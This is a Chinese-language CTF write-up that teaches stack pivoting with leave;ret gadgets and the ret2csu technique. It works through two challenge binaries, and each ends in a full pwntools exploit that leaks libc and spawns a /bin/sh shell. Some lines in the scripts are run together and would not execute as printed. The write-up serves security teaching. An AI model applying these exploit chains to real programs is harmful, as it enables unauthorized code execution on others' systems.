1:栈迁移
本质就是因为写入的长度有限,所以先把payload写入一个区域(bss,原栈,libc等)然后控制栈顶指针寄存器指向那个区域进而指向命令。
原理:
首先要了解函数调用栈,这个我后面应该也会写,顺便把图补上,这次先不画图了....,已知我们的
leave == mov esp,ebp; pop ebp;
ret == pop eip
所以说leave指令就是把ebp的值赋给esp,从而使esp指向ebp所在的地址,然后pop这个地址上的值赋给ebp,而ret指令就是从栈顶弹出一个值赋给eip然后跳转到这个地方去指向相关代码。那么这又该如何控制esp呢?答案是:再leave ret一次就可以了,我们只需要把原ebp的值改为我们想去的地址,然后返回地址填上leave ret这个gadget的地址就可以了。因为在第一次leave后esp回到ebp的地方,然后pop ebp就回把我们想去的地址赋给ebp从而控制ebp指向我们想去的地方,然后ret就会执行第二个leave ret;接下来的第二次leave就回把我们的esp指回我们的ebp从而控制esp,然后接下来的ret就会执行我们的payload。利用条件:由上述原理不难看出,栈迁移的利用条件就是一般要有0x10的溢出去覆盖我们的rbp与返回地址(32位则为0x8)
例题:BaseCTF2024新生赛的stack_in_stack
首先先checksec
这里开了影子栈和ibt保护,不能用传统rop链了
然后放ida看看
我们可以看到这里泄露了buf局部变量的地址,同时我们也能溢出0x10满足栈迁移的条件,但由于没有控制rdi的gadget所以我们还没那么快写完,再找找其他函数。
最终我们可以找到这个函数
这个函数非常直白,打印出了puts的地址,那这个题就很简单了,我们只需要把payload放在我们局部变量buf中(就是用真正的payload填充buf,通过栈迁移控制rsp返回buf进而执行payload)第一步泄露的代码如下
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 1
if flag:p = remote('challenge.imxbt.cn',30250)
else:p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():gdb.attach(p)pause()
sec=0x4011CE
main=0x401245
leave=0x4012F2
ret=0x40101a
ru(b"It looks like something fell off mick0960.\n")
buf=p.recvline().strip().decode()
buf=int(buf,16)
pay=p64(0)+p64(sec)+p64(0)+p64(ret)+p64(main)+p64(0)+p64(buf)+p64(leave)
sd(pay)
(为什么第一个值不是直接的sec的地址呢,因为leave在把rsp指向rbp之后接下来会把栈顶一个值弹出赋给rbp,所以不能把返回地址的值填在开头,为什么sec后不是直接ret也是因为那个函数最后有pop rbp,为什么有ret也是因为后面返回main的时候需要调用print函数,这个函数需要16字节对齐。)所以栈迁移的题我们要多调试,难免有奇奇怪怪的地方会卡住导致不通。接下来我们接收到puts函数的地址后就可以打ret2libc了,就只需要记得把payload用于填充buf再栈迁移回去执行就好了,还有就是buf局部变量返回后地址是会变的,需要再接收一次,同时因为我们是在栈上执行gadget和返回地址,所以不会被影子栈和ibt影响。完整exp如下
from pwn import *
import sys
from ctypes import *
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 0
if flag:p = remote('challenge.imxbt.cn',30250)
else:p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():gdb.attach(p)pause()
sec=0x4011CE
main=0x401245
leave=0x4012F2
ret=0x40101a
ru(b"It looks like something fell off mick0960.\n")
buf=p.recvline().strip().decode()
buf=int(buf,16)
pay=p64(0)+p64(sec)+p64(0)+p64(ret)+p64(main)+p64(0)+p64(buf)+p64(leave)
sd(pay)
ru("You found the secret!\n")
puts=p.recvline().strip().decode()
puts=int(puts,16)
ru(b"It looks like something fell off mick0960.\n")
buf=p.recvline().strip().decode()
buf=int(buf,16)
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
rdi=libcbase+next(libc.search(asm('pop rdi;ret')))
print(hex(libcbase))
pay=p64(0)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(0)+p64(buf)+p64(leave)
sd(pay)
ti()
2:ret2csuret2csu
本质就是通过特殊的csu函数去控制rdi,rsi,rdx这些寄存器,同时我们也可以利用其函数内自带的call去调用函数,或者通过call空函数来不用它那个call防止其影响我们的程序执行。
原理:
我们看以下两个函数的汇编我们可以看到
通过下面这个函数我们可以控制rbx,rbp,r12,r13,r14,r15的值,通过上面那个函数我们可以把r14的值赋给rdx,把r13的值赋给rsi,把r12的值赋给rdi(因为edi是rdi的低32位,所以这个指令的具体含义就是把r12的低32位赋给rdi的低32位,因为在这之后cup会自动清空rdi的高32位所以相当于控制了rdi)接下来就是call一个函数,函数就是通过r15来赋值(通常rbx被我们赋0)r15要为指向该函数地址的指针!我们的got表符合这种情况(因为延迟绑定机制)或者我们往bss段写一个函数的真实地址,再把其在bss段的地址取出来也可以。
接下来就是让rbx+1,比较rbp与rbx是否相等,如果相等则往下跳转执行,如果不相等则循环执行该函数,所以我们通常控制rbx为0,rbp为1就可以通过这个检测往下执行了,所以经过这两个函数之后我们就可以控制rdi,rsi,rdx寄存器从而去控制许多函数。注意上面的函数执行后他会继续往下执行,直到执行完下面函数的ret才返回栈读取数据,也就是说我们可以在先进入下面那个函数设置r12,r13,r14,r15的值再返回上面的函数去call相应函数,call完后我们可以在他执行回下面函数时顺便把我们要调用的第二个函数的参数写好(如果不想调用函数就随便写值也可以,不想通过call调用就去call一个空函数绕过去)。
下面我们看例题
例题:PCTF2025的week3-csu?
首先还是先checksec
然后放ida看看,这里有wrire函数
同时也没有其他的方便调用的输出函数了,而我们又没有控制rdx的gadget,所以我们打ret2csu,打csu之前建议定义个函数好打一点
def csu(rdi,rsi,rdx,got):pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)return pay
这样我们就可以方便设计我们寄存器的值了,里面的参数是要看具体情况的,不一定每个csu函数都跟我这里的一样,括号里的顺序就是r12,r13,r14,r15的顺序,因为我们输入就是这样输入(pop)的,再经过上面那个函数后最终的结果就可以用这样的形参,会直观一点。接下来我们的打法就很简单了,通过先通过csu设置寄存器的值再让他callwrite函数打印自己的地址进而泄露libc基地址,然后通过read往bss段写入system函数的地址 及/bin/sh\x00字符串通过csu设置好参数即可,完整exp如下:
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
flag = 0if flag:p = remote('challenge.imxbt.cn',30250)
else:p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():gdb.attach(p)pause()
def csu(rdi,rsi,rdx,got):pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)return pay
ru(b"input something:")
ret=0x40101a
write=elf.got['write']
read=elf.got['read']
rdi=0x40127b
csuin=0x40126E
csugo=0x401258
bss=0x404068
pay=40*b'b'+p64(ret)+p64(csuin)+csu(1,write,0x10,write)+p64(csugo)+csu(0,bss,0x100,read)+p64(csugo)
pay+=csu(bss+8,0,0,bss)+p64(ret)+p64(csugo)
sl(pay)
libcbase=u64(rc(6).ljust(8,b'\x00'))-libc.sym['write']
print(hex(libcbase))
system=libcbase+libc.sym['system']
pay=p64(system)+b'/bin/sh\x00'
sl(pay)
ti()